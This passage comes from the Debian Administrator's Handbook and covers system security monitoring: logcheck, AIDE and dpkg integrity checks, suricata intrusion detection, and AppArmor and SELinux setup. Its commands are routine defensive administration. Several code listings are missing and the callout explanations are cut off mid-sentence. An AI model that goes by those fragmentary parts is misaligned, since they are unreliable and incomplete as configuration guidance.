Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes Secțiune 12.4, „Monitoring”.
The logcheck program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
The list of monitored files is stored in /etc/logcheck/logcheck.logfiles
; the default values work fine if the /etc/rsyslog.conf
file has not been completely overhauled.
logcheck can work in one of three more or less detailed modes: paranoid, server and workstation. The first one is very verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
In all three cases, logcheck should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, /usr/share/doc/logcheck-database/README.logcheck-database.gz
is a required — if challenging — read.
The applied rules can be split into several types:
/etc/logcheck/cracking.d/
directory); /etc/logcheck/cracking.ignore.d/
); /etc/logcheck/violations.d/
); /etc/logcheck/violations.ignore.d/
); CAUTION Ignoring a message
Any message tagged as a cracking attempt or a security alert (following a rule stored in a
/etc/logcheck/violations.d/myfile
file) can only be ignored by a rule in a/etc/logcheck/violations.ignore.d/myfile
or/etc/logcheck/violations.ignore.d/myfile-
file.extension
A system event is always signaled unless a rule in one of the /etc/logcheck/ignore.d.{paranoid,server,workstation}/
directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
top is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the P key. Other sort orders include a sort by occupied memory (M key), by total processor time (T key) and by process identifier (N key). The k key allows killing a process by entering its process identifier. The r key allows renicing a process, i.e. changing its priority.
When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it's probably an instance of software installed and executed on the system through a vulnerability in a web application.
top is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
The gnome-system-monitor graphical tool is similar to top and it provides roughly the same features.
Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
There are many dedicated tools for this task. Most can fetch data via SNMP (Simple Network Management Protocol) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
This book deals with Munin in some detail (see Secțiune 12.4.1, „Setting Up Munin”) as part of Cap. 12: „Advanced Administration”. Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/index.html
) should be considered a prerequisite.
ALTERNATIVE mrtg
mrtg (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
The mrtg-contrib and mrtgutils packages contain example scripts that can be used directly.
Once the system is installed and configured, and barring security upgrades, there's usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).
GOING FURTHER Protecting against upstream changes
dpkg --verify is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see Secțiune 6.5, „Checking Package Authenticity”), and taking care to only install packages from a certified origin.
dpkg --verify (or dpkg -V) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in /var/lib/dpkg/info/
); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files. package
.md5sums
BACK TO BASICS File fingerprint
As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm (MD5 or SHA1 being well-known examples) that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task.
Running dpkg -V will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of rpm -V where each character denotes a test on some specific meta-data. Unfortunately dpkg does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
#
dpkg -V
??5?????? /lib/systemd/system/ssh.service
??5?????? c /etc/libvirt/qemu/networks/default.xml
??5?????? c /etc/lvm/lvm.conf
??5?????? c /etc/salt/roster
In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service
override (which would be stored below /etc
like any configuration change should be). It also lists multiple configuration files (identified by the "c" letter on the second field) that had been legitimately modified.
debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar work-arounds).
Since the data on the disk cannot be trusted, debsums offers to do its checks based on .deb
files instead of relying on dpkg's database. To download trusted .deb
files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
#
apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`
[ ... ]
#
debsums -p /var/cache/apt/archives --generate=all
Note that this example uses the grep-status command from the dctrl-tools package, which is not installed by default.
The AIDE tool (Advanced Intrusion Detection Environment) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (/var/lib/aide/aide.db
) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with aideinit; it is then used daily (by the /etc/cron.daily/aide
script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (/var/log/aide/*.log
) and sends its findings to the administrator by email.
IN PRACTICE Protecting the database
Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
Many options in /etc/default/aide
can be used to tweak the behavior of the aide package. The AIDE configuration proper is stored in /etc/aide/aide.conf
and /etc/aide/aide.conf.d/
(actually, these files are only used by update-aide.conf to generate /var/lib/aide/aide.conf.autogenerated
). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the aide.conf(5) manual page is therefore recommended.
A new version of the database is generated daily in /var/lib/aide/aide.db.new
; if all recorded changes were legitimate, it can be used to replace the reference database.
ALTERNATIVE Tripwire and Samhain
Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by tripwire is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar QUICK LOOK The checksecurity and chkrootkit/rkhunter packages). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
QUICK LOOK The checksecurity and chkrootkit/rkhunter packages
The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
The chkrootkit and rkhunter packages allow looking for rootkits potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
BACK TO BASICS Denial of service
A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: DDoS and DoS (depending on whether the denial of service attack is distributed or not).
suricata (in the Debian package of the same name) is a NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata
. There are third party tools (Kibana/logstash) to better browse all the data collected.
CAUTION Range of action
The effectiveness of suricata is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting suricata should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
Configuring suricata involves reviewing and editing /etc/suricata/suricata-debian.yaml
, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET
parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation.
On top of this, you should also edit /etc/default/suricata
to define the network interface to monitor and to enable the init script (by setting RUN=yes
). You might also want to set LISTENMODE=pcap
because the default LISTENMODE=nfqueue
requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE
target).
To detect bad behaviour, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it. Unfortunately that package is missing from Debian Jessie and should be retrieved from another Debian release like Testing or Unstable.
Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rulesets from external sources.
GOING FURTHER Integration with prelude
Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the manager in prelude-manager) which gathers alerts generated by sensors of various types.
Suricata can be configured as such a sensor. Other possibilities include prelude-lml (Log Monitor Lackey) which monitors log files (in a manner similar to logcheck, described in Secțiune 14.3.1, „Monitoring Logs with logcheck”).
AppArmor is a Mandatory Access Control (MAC) system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in Secțiune 14.5, „Introduction to SELinux”), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behaviour!).
AppArmor profiles are stored in /etc/apparmor.d/
and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the apparmor_parser command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing a few packages and adding some parameters to the kernel command line:
#
apt install apparmor apparmor-profiles apparmor-utils
[...]
#
perl -pi -e 's,GRUB_CMDLINE_LINUX="(.*)"$,GRUB_CMDLINE_LINUX="$1 apparmor=1 security=apparmor",' /etc/default/grub
#
update-grub
After a reboot, AppArmor is now functional and aa-status will confirm it quickly:
#
aa-status
apparmor module is loaded.
44 profiles are loaded.
9 profiles are in enforce mode.
/usr/bin/lxc-start
/usr/lib/chromium-browser/chromium-browser//browser_java
[...]
35 profiles are in complain mode.
/sbin/klogd
[...]
3 processes have profiles defined.
1 processes are in enforce mode.
/usr/sbin/libvirtd (1295)
2 processes are in complain mode.
/usr/sbin/avahi-daemon (941)
/usr/sbin/avahi-daemon (1000)
0 processes are unconfined but have a profile defined.
NOTE More AppArmor profiles
The apparmor-profiles package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install apparmor-profiles-extra which contains profiles developed by Ubuntu and Debian.
The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionaly a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit.
#
aa-enforce /usr/sbin/avahi-daemon
Setting /usr/sbin/avahi-daemon to enforce mode.
#
aa-complain /etc/apparmor.d/usr.bin.lxc-start
Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.
Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an aa-unconfined command to list the programs which have no associated profile and which expose an open network socket. With the --paranoid
option you get all unconfined processes that have at least one active network connection.
#
aa-unconfined
801 /sbin/dhclient not confined
890 /sbin/rpcbind not confined
899 /sbin/rpc.statd not confined
929 /usr/sbin/sshd not confined
941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'
988 /usr/sbin/minissdpd not confined
1276 /usr/sbin/exim4 not confined
1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined
1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined
19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined
In the following example, we will thus try to create a profile for /sbin/dhclient. For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:
#
aa-genprof dhclient
Writing updated profile for /sbin/dhclient.
Setting /sbin/dhclient to complain mode.
Before you begin, you may wish to check if a
profile already exists for the application you
wish to confine. See the following wiki page for
more information:
http://wiki.apparmor.net/index.php/Profiles
Please start the application to be profiled in
another window and exercise its functionality now.
Once completed, select the "Scan" option below in
order to scan the system logs for AppArmor events.
For each AppArmor event, you will be given the
opportunity to choose whether the access should be
allowed or denied.
Profiling: /sbin/dhclient
[(S)can system log for AppArmor events] / (F)inish
Reading log entries from /var/log/audit/audit.log.
Profile: /sbin/dhclient ![1]()
Execute: /usr/lib/NetworkManager/nm-dhcp-helper
Severity: unknown
(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish
P
Should AppArmor sanitise the environment when
switching profiles?
Sanitising environment is more secure,
but some applications depend on the presence
of LD_PRELOAD or LD_LIBRARY_PATH.
(Y)es / [(N)o]
Y
Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.
Complain-mode changes:
WARN: unknown capability: CAP_net_raw
Profile: /sbin/dhclient ![2]()
Capability: net_raw
Severity: unknown
[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish
A
Adding capability net_raw to profile.
Profile: /sbin/dhclient ![3]()
Path: /etc/nsswitch.conf
Mode: r
Severity: unknown
1 - #include <abstractions/apache2-common>
2 - #include <abstractions/libvirt-qemu>
3 - #include <abstractions/nameservice>
4 - #include <abstractions/totem>
[5 - /etc/nsswitch.conf]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
3
Profile: /sbin/dhclient
Path: /etc/nsswitch.conf
Mode: r
Severity: unknown
1 - #include <abstractions/apache2-common>
2 - #include <abstractions/libvirt-qemu>
[3 - #include <abstractions/nameservice>]
4 - #include <abstractions/totem>
5 - /etc/nsswitch.conf
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
A
Adding #include <abstractions/nameservice> to profile.
Profile: /sbin/dhclient
Path: /proc/7252/net/dev
Mode: r
Severity: 6
1 - /proc/7252/net/dev
[2 - /proc/*/net/dev]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
A
Adding /proc/*/net/dev r to profile
[...]
Profile: /sbin/dhclient ![4]()
Path: /run/dhclient-eth0.pid
Mode: w
Severity: unknown
[1 - /run/dhclient-eth0.pid]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
N
Enter new path: /run/dhclient*.pid
Profile: /sbin/dhclient
Path: /run/dhclient-eth0.pid
Mode: w
Severity: unknown
1 - /run/dhclient-eth0.pid
[2 - /run/dhclient*.pid]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
A
Adding /run/dhclient*.pid w to profile
[...]
Profile: /usr/lib/NetworkManager/nm-dhcp-helper ![5]()
Path: /proc/filesystems
Mode: r
Severity: 6
[1 - /proc/filesystems]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
A
Adding /proc/filesystems r to profile
= Changed Local Profiles =
The following local profiles were changed. Would you like to save them?
[1 - /sbin/dhclient]
2 - /usr/lib/NetworkManager/nm-dhcp-helper
(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t
S
Writing updated profile for /sbin/dhclient.
Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.
Profiling: /sbin/dhclient
[(S)can system log for AppArmor events] / (F)inish
F
Setting /sbin/dhclient to enforce mode.
Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.
Reloaded AppArmor profiles in enforce mode.
Please consider contributing your new profile!
See the following wiki page for more information:
http://wiki.apparmor.net/index.php/Profiles
Finished generating profile for /sbin/dhclient.
Note that the program does not display back the control characters that you type but for the clarity of the explanation I have included them in the previous transcript.
The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice). Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run. | |
At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability. | |
Here the program seeks read permissions for | |
The program wants to create the | |
Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”. |
aa-genprof is in fact only a smart wrapper around aa-logprof: it creates an empty profile, loads it in complain mode and then run aa-logprof which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/sbin.dhclient
close to this:
SELinux (Security Enhanced Linux) is a Mandatory Access Control system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
SELinux uses a set of rules — collectively known as a policy — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (targeted and strict) are provided to avoid the bulk of the configuration work.
With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its security context. The context is defined by the identity of the user who started the process, the role and the domain that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
Fig. 14.3. Security contexts and Unix users
In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r
-t domain_t
(there's usually only a single domain allowed for a given role, the -t
parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.
Obviously the rights do not apply to all objects (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a type (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
EXTRA Domains and types are equivalent
Internally, a domain is just a type, but a type that only applies to processes. That's why domains are suffixed with
_t
just like objects' types.
By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example ssh is labeled with ssh_exec_t
, and when the program starts, it automatically switches to the ssh_t
domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
Fig. 14.4. Automatic transitions between domains
IN PRACTICE Finding the security context
To find the security context of a given process, you should use the
Z
option of ps.$
ps axZ | grep vstfpd
system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd
The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (Multi-Category Security) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
To find the current security context in a shell, you should call id -Z.
$
id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Finally, to find the type assigned to a file, you can use ls -Z.
$
ls -Z test /usr/bin/ssh
unconfined_u:object_r:user_home_t:s0 test
system_u:object_r:ssh_exec_t:s0 /usr/bin/sshIt is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
The apt install selinux-basics selinux-policy-default command will automatically install the packages required to configure an SELinux system.
CAUTION Reference policy not in jessie
Unfortunately the maintainers of the refpolicy source package did not handle release critical bugs on their package and the package got removed from jessie. This means that the selinux-policy-* packages are currently not installable in jessie and need to be fetched from another place. Hopefully they will come back in one of the point releases or in jessie-backports. In the meantime, you can grab them from unstable.
This sad situation at least proves that SELinux is not very popular in the set of users/developers who are running the development versions of Debian. Thus, if you opt to use SELinux, you should expect the default policy to not work perfectly and you will have to invest quite some time to make it suitable to your specific needs.
The selinux-policy-default package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the unconfined
module (modules management is detailed further in this section).
Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with fixfiles relabel.
The SELinux system is now ready. To enable it, you should add the selinux=1 security=selinux
parameter to the Linux kernel. The audit=1
parameter enables SELinux logging which records all the denied operations. Finally, the enforcing=1
parameter brings the rules into application: without it SELinux works in its default permissive mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the GRUB_CMDLINE_LINUX
variable in /etc/default/grub
and to run update-grub. SELinux will be active after a reboot.
It is worth noting that the selinux-activate script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the semodule command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the semanage command.
Those two commands can thus be used to modify the current SELinux configuration, which is stored in /etc/selinux/default/
. Unlike other configuration files that you can find in /etc/
, all those files must not be changed by hand. You should use the programs designed for this purpose.
GOING FURTHER More documentation
Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution.
You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support.
Available SELinux modules are stored in the /usr/share/selinux/default/
directory. To enable one of these modules in the current configuration, you should use semodule -i module.pp.bz2
. The pp.bz2 extension stands for policy package (compressed with bzip2).
Removing a module from the current configuration is done with semodule -r module
. Finally, the semodule -l command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with semodule -e and disabled with semodule -d.
#
semodule -i /usr/share/selinux/default/abrt.pp.bz2
#
semodule -l
abrt 1.5.0 Disabled
accountsd 1.1.0
acct 1.6.0
[...]
#
semodule -e abrt
#
semodule -d accountsd
#
semodule -l
abrt 1.5.0
accountsd 1.1.0 Disabled
acct 1.6.0
[...]
#
semodule -r abrt
#
semodule -l
accountsd 1.1.0 Disabled
acct 1.6.0
[...]
semodule immediately loads the new configuration unless you use its -n
option. It is worth noting that the program acts by default on the current configuration (which is indicated by the SELINUXTYPE
variable in /etc/selinux/config
), but that you can modify another one by specifying it with the -s
option.
Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the semanage command.
You should definitely read the semanage(8) manual page, even if the command's syntax tends to be similar for all the concepts which are managed. You will find common options to all sub-commands: -a
to add, -d
to delete, -m
to modify, -l
to list, and -t
to indicate a type (or domain).
semanage login -l lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the __default__
entry. The semanage login -a -s user_u user
command will associate the user_u identity to the given user. Finally, semanage login -d user
drops the mapping entry assigned to this user.
#
semanage login -a -s user_u rhertzog
#
semanage login -l
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u SystemLow-SystemHigh *
rhertzog user_u SystemLow *
root unconfined_u SystemLow-SystemHigh *
system_u system_u SystemLow-SystemHigh *
#
semanage login -d rhertzog
semanage user -l lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (/home/
). The prefix must be picked among user
/*user
, staff
, and sysadm
. The “staff
” prefix results in files of type “staff_home_dir_t
”. Creating a new SELinux user identity is done with semanage user -a -R roles
-P prefix
identity
. Finally, you can remove an SELinux user identity with semanage user -d identity
.
#
semanage user -a -R 'staff_r user_r' -P staff test_u
#
semanage user -l
Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles
root sysadm SystemLow SystemLow-SystemHigh staff_r sysadm_r system_r
staff_u staff SystemLow SystemLow-SystemHigh staff_r sysadm_r
sysadm_u sysadm SystemLow SystemLow-SystemHigh sysadm_r
system_u user SystemLow SystemLow-SystemHigh system_r
test_u staff SystemLow SystemLow staff_r user_r
unconfined_u unconfined SystemLow SystemLow-SystemHigh system_r unconfined_r
user_u user SystemLow SystemLow user_r
#
semanage user -d test_u
Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the /srv/www/
file hierarchy, you could execute semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" followed by restorecon -R /srv/www/. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run semanage port -m -t http_port_t -p tcp 8080.
Some SELinux modules export boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean
displays one option, and getsebool -a them all). The setsebool boolean
value
command changes the current value of a boolean option. The -P
option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/
).
#
getsebool httpd_enable_homedirs
httpd_enable_homedirs --> off
#
setsebool -P httpd_enable_homedirs on
#
getsebool httpd_enable_homedirs
httpd_enable_homedirs --> on
Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the reference policy.
To create new modules, the selinux-policy-dev package is required, as well as selinux-policy-doc. The latter contains the documentation of the standard rules (/usr/share/doc/selinux-policy-doc/html/
) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
$
cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile
$
cp /usr/share/doc/selinux-policy-doc/example.fc ./
$
cp /usr/share/doc/selinux-policy-doc/example.if ./
$
cp /usr/share/doc/selinux-policy-doc/example.te ./
The .te
file is the most important one. It defines the rules. The .fc
file defines the “file contexts”, that is the types assigned to files related to this module. The data within the .fc
file are used during the file labeling step. Finally, the .if
file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
Exemplu 14.2. example.fc
file
In the sample below, the first interface (“myapp_domtrans
”) controls who can execute the application. The second one (“myapp_read_log
”) grants read rights on the application's log files.
Each interface must generate a valid set of rules which can be embedded in a .te
file. You should thus declare all the types that you use (with the gen_require
macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
Exemplu 14.3. example.if
File
DOCUMENTATION Explanations about the reference policy
The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones.
Have a look at the example.te
file:
GOING FURTHER The m4 macro language
To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar allow directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
In practice, m4 is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of allow directives.
The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
The module must be identified by its name and version number. This directive is required. | |
If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights. | |
Those interfaces define the | |
| |
The Permissions are defined as the set of allowed operations and follow this template: The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted.
|
